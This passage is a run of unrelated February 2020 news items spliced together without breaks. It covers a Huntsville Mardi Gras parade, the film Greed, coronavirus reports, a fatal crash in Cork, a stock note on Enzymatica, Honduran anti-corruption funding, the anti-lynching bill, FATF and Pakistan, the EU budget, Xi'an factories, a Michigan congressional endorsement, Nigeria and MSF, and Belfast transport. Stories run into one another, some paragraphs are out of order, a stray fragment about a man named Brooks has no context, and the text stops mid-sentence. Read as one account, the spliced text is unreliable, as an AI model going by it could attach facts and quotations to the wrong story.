this idea. The Huntsville Mardi Gras Parade debuted in 2014. This Saturday, the parades seventh incarnation gets rolling 4:30 p.m. on the corner of Monroe and Meridian street. It will take about an hour to complete its mile-ish downtown route, before ultimately ending back at its starting point. Each year, the parade has hosted around 20 krewes, organizations who march or ride in floats during the celebration. The 4th Annual Huntsville Mardi Gras Grand Parade weaves through downtown streets Saturday Feb. 25, 2017. (Bob Gathany/bgathany@AL.com) AL.comAL.com Its through these krewe entries as well as sponsorships raise funds for Blount Hospitality House, located a few blocks off the parade tour at 610 Madison St. The nonprofit facility provides a low-cost home away from home for patients and/or their families from out of town seeking medical treatment in Huntsville. The idea, Sneed says, is reducing emotional and financial stress for people facing a medical crisis in a city where they may be strangers. Blount Hospitality House has served close to 30,000 families since opening in 1980. The facility contains 10 bedrooms and can sleep up to 30 guests. Rates are $35 for the first night and $25 thereafter. There are only three people on staff, including Sneed, whos been the organizations leader since 2006. Asked what drew her to the cause, she answers with another question, " Who wouldnt want to be involved with helping families when they are at one of their most trying times?" She adds, We like to think of ourselves as a safe harbor during a stormy night. Blount Hospitality House is completely dependent on fundraising from events such as the Mardi Gras Parade, to pay the facilitys utility bill. At this time, we do not have a single beneficiary, Sneed says, but are actively looking for one. That situation makes Sneed extra grateful to the parades krewes, often comprised just of groups of friends. These include the Cotton Candies, a pink-clad throng of dancers who got their start in the Huntsville Mardi Gras Parade, have gone on to appear in Londons New Years Day parade and return Saturday. Theres also the high-heeled Krewe of Nyx. Over the years, one of the more memorable floats was a green creation by Elysian Fields, a krewe representing the Jones Valley neighborhood. The 4th Annual Huntsville Mardi Gras Grand Parade weaves through downtown streets Saturday Feb. 25, 2017. (Bob Gathany/bgathany@AL.com) AL.comAL.com We would love to welcome more krewes in years to come, Sneed says. A couple of our krewes will hopefully be hosting a workshop in the fall for any group that may be interested in forming their own. There are very few parade volunteers, she says, to help clean up afterwards. So more of those would also be welcomed. The 4th Annual Huntsville Mardi Gras Grand Parade weaves through downtown streets Saturday Feb. 25, 2017. (Bob Gathany/bgathany@AL.com) AL.comAL.com Of course, Huntsville Mardi Gras Parade floats dont have the budgets or spectacle of those in Mobile and New Orleans. Or history. Mobiles Mardi Gras parade dates back to 1711 and is believed to be the first held in North America. New Orleans laissez les bons temps rouler in 1857. According to mardigrasneworleans.com, The origins of Mardi Gras can be traced to medieval Europe, passing through Rome and Venice in the 17th and 18th centuries to the French House of the Bourbons. From here, the traditional revelry of Boeuf Gras, or fatted calf, followed France to her colonies. 2016 Huntsville Mardi Gras parade downtown Huntsville, Ala. Saturday Feb. 6th to benefit Blount Hospitality House. (Bob Gathany/bgathany@AL.com)AL.com Even in Huntsville, Mardi Gras is one of the citys smallest parades. Yet, according to Sneed, the event still draws around 12,000 to 15,000 people downtown. Thats a lot of extra foot traffic for downtown businesses. We have heard the day of the parade is one of the busiest days downtown, certainly in February, Sneed says. Since the parade is expensive to put on, she hopes in the future some local businesses who benefit from that bump will help Blount Hospitality House make the parade - and its draw - even bigger. More Mardi Gras events in Huntsville seem to manifest each year. Saturday, theres a new, NOLA-flavored second-line parade and funk concert 11 a.m. to 12 p.m. at MidCity outdoor venue The Camp, address 5909 University Drive N.W. In coming years, Sneed would like to see local Mardi Gras parties coordinate, to give Huntsville a better shot at building into a Mardi Gras destination. The 4th Annual Huntsville Mardi Gras Grand Parade weaves through downtown streets Saturday Feb. 25, 2017. (Bob Gathany/bgathany@AL.com) AL.comAL.com Sights are part of any Mardi Gras parade, but so are sounds. This year's Huntsville floats will include an entry from pop radio station WZYP-FM. The Huntsville Fire and Rescue Pipe and Drum band is marching. And locally iconic band Microwave Dave & The Nukes will perform blues and beyond, from aboard a flatbed trailer. For Huntsville's parade, a "throw zone" is designated for that traditional treasured trinket, Mardi Gras beads. This area, that's from South Side Square, down Washington Street to Holmes Avenue. Attendees looking for a family-friendly vibe may want to watch the parade from First United Methodist Church, address 120 Greene St. S.E. Throwing beads at the 2016 Huntsville Mardi Gras parade downtown Huntsville, Ala. Saturday Feb. 6th to benefit Blount Hospitality House. (Bob Gathany/bgathany@AL.com)AL.com A Huntsville native, Sneed has never been to Mardi Gras in Mobile. And believe it or not shes never even set foot in New Orleans. Period. But for any purists who scoff at the very concept of a Huntsville Mardi Gras parade, seven years in, she invites them to come see for themselves. Its colorful and fun. And will simply make your day to see so many happy faces for a great cause. More info: mardigrashuntsville.com, blounthospitalityhouse.org. MORE ON HUNTSVILLE Popular Huntsville restaurant adding second location Sweet view, new bar, restaurant coming to downtown Huntsville A Red Rocks, Hollywood Bowl type venue in Huntsville? Thats the plan Whats Huntsville Music Advisory Board and whos on it? An Alabama guitar craftsmans next chapter Share this article Whatsapp Facebook Twitter Linkedin Amber Milne (Reuters) London, United Kingdom Fri, February 21, 2020 20:09 690 7f440ff09e92db75a02bbad2065e5153 2 Entertainment Greed,fashion,fast-fashion,film,Steve-Coogan,Isla-Fisher,Michael-Winterbottom,topshop,Philip-Green Free Moviegoers may scorn the billionaire fashion bosses in Greed which opens in Britain on Friday but anti-slavery activists said anyone who buys cheap clothes risks fuelling factory abuses. The film by British director Michael Winterbottom, starring Steve Coogan, takes aim at high-flying moguls whose lavish lifestyles, yachts and parties are built on sweatshop labor. "The extreme wealth (that) Greed's main character accumulates at the expense of exploited workers is not as far removed from us at it seems," said Joanna Ewart-James, executive director of anti-slavery organization Freedom United. "Our own bulging wardrobes indicate how this has become an almost $3 trillion industry, lining the pockets of big business and not the 60 million-plus garment workers - who earn as little at $21 a month," she told the Thomson Reuters Foundation. Campaigners said they hoped the film would draw attention to the stark contrast between the lives of fashion retail owners and their staff - and encourage consumers to think more carefully about their choices. The advent of fast fashion, with consumers buying and quickly binning cheap clothes, has exacerbated the risk of forced labor in global supply chains as factories come under ever greater pressure from leading brands, activists say. Director Winterbottom said his inspiration for the film came from a conversation about the "colorful character" of British billionaire Philip Green, whose Arcadia group owns a string of fashion chains including Topshop. Green's greed and disregard for corporate governance led to the demise of British high street store BHS and cost 11,000 jobs, British lawmakers said in 2016, calling the collapse "the unacceptable face of capitalism". Coogan's character also faces parliamentary scrutiny over his business dealings and throws an extravagant party on a Greek island - echoing Green's infamous multi-million dollar birthday celebrations attended by A-list actors, models and popstars. Read also: Fast fashion hurts workers and the environment, British lawmakers told "We're using the likes of Philip Green to raise the subject of this kind of exploitative slave labour that makes people rich," said British actor and comedian, Coogan, who is best known for his television character Alan Partridge. "People involved in this world, they sleep like babies. It doesn't bother them," Coogan said, describing how surreal it was to shoot on a luxury yacht and then in a Sri Lankan garment factory where people earned $4 a day. Green was not immediately available to comment. Comedian David Mitchell, who plays a journalist in Greed, said filming in garment workers' homes with "no plumbing and very little space" was a memorable experience. "It's a pretty grim place to live," he said. "And obviously that's all about the rate of pay, which is dictated by market forces unrestrained by governments." Jakub Sobik of Anti-Slavery International said films like Greed were important in highlighting the exploitation of vulnerable workers in the fashion industry. "They could play a big role in making people aware of the problem and demanding better from businesses and governments," he said. About 25 million people are estimated to be trapped in forced labor, the United Nations says. Two Australians evacuated from the Diamond Princess cruise ship have tested positive for coronavirus on their return home, despite being cleared in Japan, authorities said Friday. "We have two people who are positive for the COVID-19 virus. Those two people have mild illness," said Dianne Stephens, acting chief health officer for the Northern Territories. Health officials in Canberra told AFP all 164 Australians who returned home earlier this week "were tested for COVID-19 in Japan and returned negative results". A total of six Australian evacuees have now been retested and the two -- described as "an older person" and "a younger person" -- tested positive. The Australian officials stressed that the development of some positive cases among cleared evacuees was "not unexpected", given the continued spread of the disease onboard after testing began. Hundreds of people have been allowed to leave the ship after being cleared of having the virus, and many have returned to their home countries to face further quarantine. Hundreds more Japanese passengers were also cleared and warned only to "stay at home unless absolutely necessary," to "never use public" transport and use a mask if they do venture out. Australia's Chief Medical Officer Professor Brendan Murphy said the public should not be concerned. "I just want to reassure the community that whilst this is another two cases in Australia, it's a first for some time now. These were expected and we're well-placed to manage them," he said. Fifteen previous cases of coronavirus in Australia had been linked to the outbreak of the illness in China. Murphy also expressed confidence that Japan and South Korea -- where the number of infections nearly doubled Thursday to 104 -- would be able to contain the disease. "Both Japan and South Korea have well-developed health systems. And I would certainly be confident that they will be onto identifying those cases and tracing contacts," he said. "But it is obviously a concern that any country where there is significant further transmission. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) But the health commission reported Wednesday 1,749 newly confirmed cases -- the lowest number so far in February -- bringing the total number of confirmed cases in China to 74,000. The death toll in mainland China reached 2,004 with most of the deaths reported in Hubei province, where the outbreak began in December. Some 132 deaths were reported in Hubei. The death toll from the new coronavirus climbed past the 2,000 mark Wednesday, China's health commission announced, even while the number of confirmed cases hit a monthly low. Chinese state-run media said Tuesday President Xi Jinping spoke to British Prime Minister Boris Johnson by telephone, telling him that China's measures to fight the virus is making "visible progress." Despite the drop in the daily number of confirmed cases, the World Health Organization cautions people against relaxing and believing the worst is over. The WHO says it is still too early to predict exactly which way the outbreak will go. "We don't have enough data on cases outside China to make meaningful conclusions," WHO chief Tedros Adhanom Ghebreyesus said. He added that more than 80 percent of coronavirus patients "have mild disease and will recover." The coronavirus outbreak continued to wreak havoc around the world. WHO reported that outside China there are now 804 cases in 25 countries, with three deaths. Russia said starting Thursday it would ban all Chinese from entering its territory. Deputy prime minister for health Tatiana Golikova, said the decision was necessary "because of the worsening epidemic in China and the fact that Chinese nationals are continuing to arrive on Russian territory." U.S. Secretary of State Mike Pompeo said it took the United States "too long to get the medical experts into" China to help combat the outbreak. On a visit to Africa, Pompeo said, "We hope that every country that has information, this includes China, will be completely open and transparent... We are hopeful that the Chinese government will increase its transparency [and] will continue to share this information." A fundraising page has been set up to pay the funeral costs of a 16-year-old girl who died in a crash on the northside of Cork city on Wednesday night. Kimberly O'Connor, who had just returned from doing voluntary worker in India, was a passenger in a car that hit a wall at Harbour View Road in Knocknaheeny at 11.45pm on Wednesday. She was pronounced dead at the scene. Three teenage boys were injured in the crash. The boy who is believed to be the driver of the car, who is understood to be 16, presented himself at the Mercy University Hospital where he was treated for non-life threatening injuries. Two teenage boys, understood to be 17 years old, who were backseat passengers in the car were taken to Cork University Hospital. One of the youths is understood to be in a critical condition. The car was not stolen but was instead a "company car" bought for a few hundred euro. A local man has set up a GoFundMe page to help support the relatives of Kimberly O'Connor. The page reads: "Kimberly O'Connor - one of four siblings - was a transition year student at Terence MacSwiney Community College, Hollyhill. "She died after the car she was travelling in crashed on Harbour View Road, Knocknaheeny on Wednesday night. "This GoFundMe was set to help her amazing family in this tragic time." Meanwhile, counselling is being offered to Terence McSwiney College pupils following the death of Kimberly. In a statement Ms Phil O'Flynn, principal of Terence McSwiney Community College said they were shocked and upset at the passing of the young girl whom they described as one of their leading lights. "I am deeply saddened to report the death of one of our female students and the injury of two other boys, one a current student and the other a past pupil. "This is a terrible tragedy for the families of the students, our school and our community. "Our sympathies and thoughts are with the families and friends of the deceased and injured." The School Critical Management plan has been implemented. Staff members, including counselling personnel, are on site at the school. It is understood that prayers were offered at St Mary's on the Hill Church for young Kimberly and the persons injured in the crash. Local Fianna Fail Councillor Tony Fitzgerald said that the community was in mourning and that people were "shocked" and "devastated by the death of Kimberly. Tributes poured in to young Kimberly online. In a Facebook post one friend said that she was "completely lost for words" at the death of her pal. I can't believe it. My heart is broken in to a million pieces. Nobody ever expected this to happen. "God does only take the best and he took you. You were too good for this life." Gardai are appealing to anyone who may have information regarding the collision, particularly any road users with dashcam footage who were travelling Harbour View Road between 11pm and 12.30am on 19 and 20 February 2020, to contact Gurranabraher Garda Station on 021 494 6200, the Garda Confidential Line on 1800 666 111 or any Garda Station. Donations can be made to the Go Fund Me page here. Enzymatica AB's (STO:ENZY): Enzymatica AB, a life science company, develops and sells medical devices for infection-related diseases in Sweden and internationally. On 31 December 2019, the kr783m market-cap posted a loss of -kr41.0m for its most recent financial year. Many investors are wondering the rate at which ENZY will turn a profit, with the big question being when will the company breakeven? Ive put together a brief outline of industry analyst expectations for ENZY, its year of breakeven and its implied growth rate. Check out our latest analysis for Enzymatica Consensus from the 2 Pharmaceuticals analysts is ENZY is on the verge of breakeven. They expect the company to post a final loss in 2020, before turning a profit of kr21m in 2021. So, ENZY is predicted to breakeven approximately a few months from now. How fast will ENZY have to grow each year in order to reach the breakeven point by 2021? Working backwards from analyst estimates, it turns out that they expect the company to grow 96% year-on-year, on average, which signals high confidence from analysts. If this rate turns out to be too aggressive, ENZY may become profitable much later than analysts predict. OM:ENZY Past and Future Earnings, February 21st 2020 Im not going to go through company-specific developments for ENZY given that this is a high-level summary, but, keep in mind that by and large pharmaceuticals, depending on the stage of product development, have irregular periods of cash flow. So, a high growth rate is not out of the ordinary, particularly when a company is in a period of investment. One thing Id like to point out is that ENZY has managed its capital prudently, with debt making up 5.4% of equity. This means that ENZY has predominantly funded its operations from equity capital,and its low debt obligation reduces the risk around investing in the loss-making company. Next Steps: This article is not intended to be a comprehensive analysis on ENZY, so if you are interested in understanding the company at a deeper level, take a look at ENZYs company page on Simply Wall St. Ive also compiled a list of essential aspects you should further examine: Valuation: What is ENZY worth today? Has the future growth potential already been factored into the price? The intrinsic value infographic in our free research report helps visualize whether ENZY is currently mispriced by the market. Management Team: An experienced management team on the helm increases our confidence in the business take a look at who sits on Enzymaticas board and the CEOs back ground. Other High-Performing Stocks: Are there other stocks that provide better prospects with proven track records? Explore our free list of these great stocks here. If you spot an error that warrants correction, please contact the editor at editorial-team@simplywallst.com. This article by Simply Wall St is general in nature. It does not constitute a recommendation to buy or sell any stock, and does not take account of your objectives, or your financial situation. Simply Wall St has no position in the stocks mentioned. We aim to bring you long-term focused research analysis driven by fundamental data. Note that our analysis may not factor in the latest price-sensitive company announcements or qualitative material. Thank you for reading. On February 13, 2020, by a vote of 71 for, 8 against and 5 members abstaining, the Honduran Congress approved the Presidents Budget request for: 100 new prosecutors within the Ministers of Defense and Public Security 100 new investigators for the ATIC (Criminal Investigation Technical Agency) 50 new detectives focused on the fight against narco-trafficking The total funding approved is the equivalent of $ 5,4 million USD. "President Hernandez is firmly committed to enhancing transparency and fighting corruption," said Maria Dolores Aguero Lara, Honduras Ambassador to the U.S. "It is essential that this mission be formalized within existing Honduran institutions so that the fight can continue. Working together, the Administration and the Congress are ensuring the resources are there to root out corruption wherever it exists in Honduras." Regional Security Conference On another note, the Acting Secretary of Homeland Security Chad F. Wolf traveled to Honduras for the 12th Regional Security Conference in Tegucigalpa, Honduras. The ministerial brought together security officials from the U.S., Guatemala, Honduras, El Salvador, Costa Rica, and Panama to discuss efforts to jointly address irregular migration, border security, and transnational criminal organizations in the region. Among the issues addressed at the Conference, the officials discussed ways they can continue to work together to target human smuggling and trafficking organizations operating in the region. Also, they discussed about reaching further progress on the agreements related with Biometric Information Exchange Program (BDSP), the frameworks for the exchange of intelligence, Border Security and Irregular Migration Assistance (AIM) and plans that would lead to greater opportunity and prosperity for the Central Americans in their hometowns. SOURCE President Juan Orlando Hernandez "Serving in the military changes you. The shades and degrees of change vary for everyone, but no one is ever the same as... Category Select Category Apparel/Garments Textiles Fashion Technical Textiles Information Technology E-commerce Retail Corporate Association Press Release SubCategory Select Sub-Category WASHINGTON - In 1900, 120 years ago this week, the nation's only black congressman stood on the House floor to read an unprecedented piece of anti-lynching legislation to a roomful of white faces. Just over a year earlier, the congressman, Rep. George Henry White, R-N.C., had witnessed the bloody Wilmington race riot in which mobs of white supremacists overthrew the city's multiracial government while killing up to 60 black people with impunity. White had engaged in painstaking research, tracking down every lynching victim he could find, in Wilmington and in every corner of the country over the past two years. Why wasn't the federal government doing anything about it, he asked. "I tremble with horror for the future of our nation," he said, "when I think what must be the inevitable result if mob violence is not stamped out of existence and law once permitted to reign supreme." His bill never even made it out of committee. Now, more than a century later, the House of Representatives may finally finish what White started. House Majority Leader Steny Hoyer, D-Md., announced Thursday that the House will vote next week to make lynching a federal hate crime, which Congress failed to do nearly 200 times in the 20th century since White's bill in 1900. Hoyer said that while the bill is long overdue, "it is never too late to do the right thing and address these gruesome, racially motivated acts of terror that have plagued our nation's history." The bill, called the Emmett Till Antilynching Act, would make lynching, and mob killing generally, punishable up to life in prison. Introduced in the House by Rep. Bobby Rush, D-Ill., it passed the Senate last year, where it was spearheaded by Sens. Kamala Harris, D-Calif., Cory Booker, D-N.J., and Tim Scott, R-S.C. It says that whoever "willfully, acting as part of any collection of people, assembled for the purpose and with the intention of committing an act of violence upon any person, causes death to any person, shall be imprisoned for any term of years or for life, fined under this title, or both." "More than 100 years have passed since Congressman George Henry White introduced the first antilynching legislation," said House Judiciary Committee Chairman Jerrold Nadler, D-N.Y. "Next week, we will finally take concrete steps to address this dark and shameful chapter in American history by bringing the Emmett Till Antilynching Act to a vote on the House Floor." Lawmakers have pitched the bill as a tool to both confront decades of racial terror and to ensure lynchings are never tolerated again. Between 1882 and 1968, more than 4,700 people were lynched, according to the Tuskegee Institute. Nearly 2,000 of those occurred after White's original bill to prosecute lynchings failed. Amy Kate Bailey, a sociology professor at the University of Illinois at Chicago and co-author of "Lynched: The Victims of Southern Mob Violence," said that white lawmakers used "states' rights" as an excuse to refuse to support anti-lynching legislation for decades. "Frankly," Bailey told The Washington Post, "that's what enabled local and state jurisdictions to turn a blind eye to highly racially discriminatory practices, to a campaign of racial terror." Back in 1900, Bailey said, White's decision to force the issue of lynchings on the House floor would have been an "extraordinarily risky" maneuver for the lone black lawmaker. Just days before unveiling his bill, 3,200 black people signed a petition asking that they be protected under the law from the "barbarous practice of lynching and burning colored men." And already, white lawmakers thought it was an impossible request. "There is no power in Congress to prevent or punish crimes committed in the various states," The Washington Post quoted one congressman as saying in response to the petition in January 1900. White pressed on. The congressman was particularly disturbed by the lack of apparent concern among his colleagues about the November 1898 Wilmington race riot, in which black people were not only murdered but forced out of the town in a mass exodus by white mobs. On Feb. 23, 1900, in a moving, extended speech on the House floor, White called them out by name, questioning why some southern Democrats could speak so sensationally about lynchings in their own communities while having no concern for due process of the law or any basic sense of justice for the victims. He read their own words back to them, poking holes in their apparent justifications for murder. Those lawmakers might have instead "depicted the miserable butchery of men, women and children in Wilmington, N.C., in November, 1898, who had committed no crime," he said. "But this would not have accomplished the purpose of riveting public sentiment upon every colored man of the South as a rapist from whose brutal assaults every white woman must be protected." And then he unveiled his bill - which would make mob killings, including lynchings, federal crimes. It said: "Whenever any citizen or citizens of the United States shall be murdered by mob violence in the manner hereinabove described, all parties participating, aiding, and abetting in such murder and lynching shall be guilty of treason against the Government of the United States, and shall be tried for that offense in the United States courts." "In concluding these remarks, Mr. Chairman," he said, I wish to disclaim any intention of harshness or the production of any friction between the races or the sections of this country . . . I have simply raised my voice against a growing and, as I regard it, one of the most dangerous evils in our country," he said. "I have simply raised my voice in behalf of a people who have no one else to speak for them here." The chamber erupted in "prolonged applause," according to a note in a Library of Congress copy of his speech - but White's bill promptly died in committee. He did not seek reelection in 1901, after North Carolina passed a measure that disenfranchised thousands of black voters, and another black congressman would not take office for nearly three decades. In a final speech, he urged lawmakers to remember his anti-lynching efforts, saying the "arena of the lyncher no longer is confined to southern climes, but is stretching its hydra head all over parts of the Union." Not many listened. Over the next 50 years, the closest Congress would ever come to passing an anti-lynching bill was in 1922. Much in the way Wilmington stirred White to action, another mass race riot would compel Rep. Leonidas Dyer, R-Mo., to try to pass lynching legislation again. In East St. Louis in 1917, violent white mobs killed at least 39 black men during a labor strike - as white workers' complaints of black migrants turned into a rampage against them - while nine white people were also killed during the riot. Dyer's anti-lynching bill was the first to pass the House, bolstered by support from the nascent NAACP and its new report, "Thirty Years of Lynching in the United States, 1889-1918." Then, the bill was filibustered to death in the Senate. The Senate formally apologized in 2005 for filibustering anti-lynching bills not once, but three times in the 20th century, all in the name of states' rights. "There may be no other injustice in American history for which the Senate so uniquely bears responsibility," the resolution said. Bailey said the legislation the House will vote on Wednesday may be symbolic to a certain extent, but is particularly important to the descendants of lynching victims. People shouldn't "try to paint this as an issue that is somehow buried in the past," Bailey said. "Anyone who wants to suggest that we're actually beyond a point of racial tensions that could spill over into some sort of violence, I think they're fooling themselves," she said. "I think we need a federal protection, particularly given the level of rhetoric that seems to be gaining currency again today." If the bill passes on Wednesday, it will head to President Donald Trump's desk to be signed into law. PARIS: In a big setback to Pakistan, the Financial Action Task Force (FATF) on Friday (Febnruary 21, 2020) decided to keep Islamabad on its grey list till June 2020 due to lack of action against terror groups operating on its soil. The decision to this effect was during the conlcusion of FATF plenary, which was being held in the French capital of Paris. The key plenary session of the FATF began on February 16. The global financial watchdog decided to keep Pakistan on its grey list untill it fully implements it 27-point Action Plan. It earlier agreed that the Imran Khan-led government had shown compliance on 14 points, but said that it needed to do more. In October, the FATF had decided to keep Pakistan on its Grey List for failure to curb funnelling of funds to terror groups Lashkar-e-Toiba, Jaish-e-Mohammad and others. Pakistan is already finalising major amendments to at least a dozen of its laws to meet the FATF requirements by June this year and has sentenced Mumbai attack mastermind and JuD chief Hafiz Saeed to 11 years in two cases of terror financing on February 12. Pakistan had so far successfully managed to avoid the blacklist due to diplomatic support from China, Turkey, Malaysia, Saudi Arabia and Middle Eastern countries. It required just three votes out of a total of 39 members of FATF forum to avoid falling into the blacklist. FATF grey listing of Pakistan holds significance for India as Army Chief General MM Naravane on Thursday (February 20) claimed that the pressure built by the anti-terror watchdog on Islamabad is one of the factors behind the reduction of terrorism in the Kashmir Valley. "If the Financial Action Task Force (FATF) comes down heavily on them, they (Pakistan) may have to rethink on their rhetoric and activities. FATF is a factor in the reduction of terror activities in Kashmir Valley, General MM Naravane told reporters. More than 800 representatives from 205 countries and jurisdictions around the world, including the IMF, UN, World Bank, and other organisations, are part of the crucial FATF meet in Paris. Acting Taoiseach Leo Varadkar must be prepared to veto any new EU budget plans - which are feared could cost Irish agriculture up to 78m a year - a farm union leader insisted last night. After a long inconclusive day at Leinster House, Mr Varadkar arrived in Brussels last night to defend Irish interests at a leaders' summit aimed at framing the EU budget plans for the seven years 2021-2027. The 27 EU leaders focused on how to plug a 12bn a year budget gap caused by the UK's departure. Funding difficulties were compounded by demands to serve new priorities such as tackling climate change, increasing defence co-operation, and catering for migrants. Because of Dail demands, Mr Varadkar was late in joining the EU summit that will continue today and might even go into tomorrow. He told reporters he believed Ireland can buck the various pressures and achieve a good outcome - especially for Irish farmers and the rural economy, which are now in the firing line. "I will be arguing that the Common Agriculture Policy (CAP) funding should be maintained at least. "As a government we are bringing the connections and relationships we have built up in recent years across Europe, through the Brexit negotiations, and by staying at the heart of Europe," the Taoiseach told the Irish Independent. Mr Varadkar said a new EU farm funding policy can be shaped to support Irish farmers and rural communities while addressing environmental concerns. Outside the EU summit conference centre in Brussels the new Irish Farmers' Association leader, Tim Cullinan, joined farmers from other member states to demonstrate against the proposed fund cut. Mr Cullinan said any cut in the CAP budget would be a devastating blow. "Ireland must be prepared to veto this proposal and reject any cut in the CAP," they told Mr Varadkar. XI'AN, China, Feb. 21, 2020 /PRNewswire/ -- As China continues to tackle the novel coronavirus outbreak, its industries have started to return to work in an orderly manner. Xi'an, one of the national central cities and an important scientific research, educational and industrial base in China, has recently introduced a number of measures to help enterprises pull through the difficult times and speed up their resumption of production, such as optimizing government services, delaying social security payments, stabilizing employment with subsidies and increasing credit support. According to statistics released by Xi'an Bureau of Industry and Information Technology, as of February 19, more than 400 enterprises in Xi'an have resumed production. A total of 34 large industrial enterprises have resumed work and production, accounting for 75.6% of all the 45 large industrial enterprises. Production capacity has also been gradually restored, as 9 large enterprises with production and sales of over RMB10 billion have fully or partially resumed production, such as Shaanxi Automobile Holdings Limited and Samsung (China) Semiconductor Co., Ltd. On February 10, Shaanxi Fast Auto Drive Group Co., Ltd. headquartered in Xi'an, began to resume production. With strictly implemented epidemic prevention measures, it has promptly restarted multiple production lines like the gear processing line in order to meet urgent market needs. On February 14, Shaanxi Automobile Holdings also resumed production, with more than 2,000 employees back to work and one production line restarted. More than 12,000 employees have so far returned to work at Huawei Xi'an Research Institute. Micron Semiconductor (Xi'an) Co., Ltd. has restored 80% of its production capacity. Xi'an International Trade & Logistics Park, China's largest inland port, has set up a green channel service. With the service, trucks do not need to stop, drivers do not need to get out of their cockpits, and traffic does not need to wait outside of the station. Epidemic prevention measures are fully implemented, such as disinfection and decontamination, temperature measurement and registration. All these measures help ensure the smooth operation of the China-Europe Chang'an freight train service. The China-Europe Chang'an freight train made a total of 200 trips in January, 2.4 times that of the same period last year. Affected by the outbreak, the Chang'an international freight train has slowed down its operation, but it still maintains the frequency of one trip per day. As enterprises resume production, personnel mobility is increasing. In order to stop the virus from spreading, the Xi'an government provides "one-on-one" services for enterprises returning to work, to help them implement prevention and control measures such as quarantine and observation, nucleic acid testing and environmental decontamination. Meanwhile, the government is fully committed to coordinating efforts to solve problems that these enterprises face regarding personnel, transportation, dining and accommodation. The Xi'an government introduces a number of measures to help small and medium-sized enterprises resume work, such as reducing or exempting rents, providing interest subsidies, and helping enterprises develop markets. Xi'an will centrally arrange a special fund of 200 million yuan to support the employment of local enterprises, and a special fund of 1 billion yuan to support local enterprises in vocational training for employees. Xi'an will offer a full subsidy for the expenses of the enterprises incurred in transporting employees with booked vehicles and train compartments; offer a partial subsidy for the transportation costs of personnel returning to work on their own; and offer a full subsidy for the costs of nucleic acid testing. SOURCE Xi'an Bureau of Industry and Information Technology KALAMAZOO, MI -- Gov. Gretchen Whitmer is putting her support behind a fellow Democrat hoping to flip Michigans 6th District seat in the upcoming U.S. House of Representatives race. Whitmer announced her endorsement of state Rep. Jon Hoadley, D-Kalamazoo, for the seat held by U.S. Rep. Fred Upton, R-St. Joseph, since 1986. The governor tweeted a video expressing her support on Friday, Feb 21. In the video, Whitmer said she has known Hoadley for a long time, and commended his platform on environmental, healthcare and human rights issues. MI-06 needs someone who isnt afraid to fight for what is right, and I know Jon is just the person for the job, Whitmer wrote in the tweet. I am proud and excited to say that I am endorsing @jonhoadley for Congress. MI-06 needs someone who isnt afraid to fight for what is right, and I know Jon is just the person for the job. Join us: https://t.co/yuLRZ6GdEL pic.twitter.com/cPCUrHPLQ6 Gretchen Whitmer (@gretchenwhitmer) February 21, 2020 The state representative from Kalamazoo confirmed in April his plans for the 2020 congressional campaign. An endorsement from Whitmer could be a signal to the rest of the country that Michigan will go blue in the 2020 election, Hoadley said. Earlier this month, Whitmer was tapped to deliver the Democratic response to President Donald Trumps State of the Union. If we look to her to be a response to Trump and shes making an endorsement this early in the race, then that shows that this race is winnable, Hoadley said. Due to term limits, Hoadley is serving his third and final two-year term representing Michigans 60th House District, which encompasses the city of Kalamazoo, Kalamazoo Township and part of Portage. Fellow Democrat Jennifer Richardson is also campaigning to be on the ballot on Nov. 3. Upton has not yet announced if he plans to run for reelection. Upton visited the eroding shorelines of South Haven Thursday after helping introduce the bipartisan Safer Harbors for Our Recreational Economy (SHORE) Act this week, which he said would benefit a number of recreational harbors in the 6th Congressional District. Michigans 6th Congressional District represents around 720,000 people in the counties of Kalamazoo, Van Buren, Cass, St. Joseph, Berrien and Allegan. Winning reelection to Congress most recently in November 2018, Upton is serving his 17th consecutive term. He was first elected in 1986 as representative for Michigans 4th District, and later represented the 6th District after boundaries were redrawn in 1992. There are no term limits in the U.S. House of Representatives. Also on MLive: We have to respond to Lake Michigan erosion, U.S. senator says Gov. Gretchen Whitmer appointee George Heartwell tells Michigan Senate panel he supports Second Amendment rights amid criticism over gun record Michigan bills resolving legal hurdle for wrongful imprisonment claims will soon head to Gov. Gretchen Whitmers desk Brooks is fortunate in one respect. He moved to Alexandria in part because he could work as a dishwasher at the seafood restaurant a brother co-owns. He remains angry over the choice he was forced to make last fall but is trying to push that out of his mind. He needs to make the most of the time he has left. He wants to reconnect with his eight surviving siblings, who are spread out across the South. He hopes to find a woman with whom to share life and love. The sacrifices of Medecins Sans Frontieres (Doctors Without Borders) in conflict areas in Nigeria are well appreciated, President Muhammadu Buhari has said. Receiving Christos Christou, International President of the organization at State House, Abuja, Friday, the president said the sacrifices as individuals and as a group were quite enormous, particularly on non-profit basis. Commenting specifically on the situation in the North-east, President Buhari said despite criticisms, the government has made substantial progress. We know the pathetic situation of children not knowing where their parents are, or the communities they come from, and that was why we established the new Ministry of Humanitarian Affairs, Disaster Management and Social Development. This is to harness and channel resources to such deprived people, he declared. READ ALSO: The president promised that respite and succour would come to all the troubled areas, adding that many prominent and well-to-do organizations were also involved, along with international agencies. President Buhari told his guests: We are grateful to you. We will secure the environment in order for you to do your job. You are not doing it for profit. We remain very appreciative. Dr Christou said Doctors Without Borders have been active in Nigeria since 1996, and is an international, independent medical humanitarian organization that delivers emergency aid to people affected by armed conflicts, epidemics, natural disasters and exclusion from healthcare. The organisation works in 10 states across the country, and adheres strictly to principles of independence, impartiality and neutrality, among others. Its budget for year 2020 is N17.7 billion, with 90 per cent of its 3,000 staff being Nigerians. Femi Adesina Special Adviser to the President Belfast Chamber has encouraged Minister for Infrastructure Nichola Mallon to "think big" about the city's connectivity, suggesting policies including a high-speed rail link to Dublin. The chamber, which represents over 600 businesses in Belfast, has urged the new minister to carry out a far-reaching investment programme in the city. It has produced a policy paper calling for measures like investment in public transport and the cycling network, as well as improvements to roads. And it's also urged the minister to take inspiration from the UK government's commitment to the high-speed north-south rail link HS2, by looking into the feasibility of a high-speed link with Dublin. The policy also suggests adding more bridges across the Lagan to connect new developments with the city centre. And it wants the city to be made more pedestrian-friendly by having streets which prioritise pedestrians, cyclists, public transport and taxis. It's also urging the introduction of phase 2 of the Glider, linking north and south Belfast. The call for better public transport come as Translink faces a funding crisis. Officials at the Department for Infrastructure warned this week that millions in additional funding was needed to avoid the "imminent and serious collapse" of public transport in Northern Ireland. At the launch of policy paper Making Belfast Move Better, chamber chief executive Simon Hamilton said: "Improving how people get into, out of and around our city is crucial to achieving Belfast Chamber's vision of an economically strong city which is the best possible place to live, work, study, socialise, visit and invest. "There is virtually no aspect of the life of 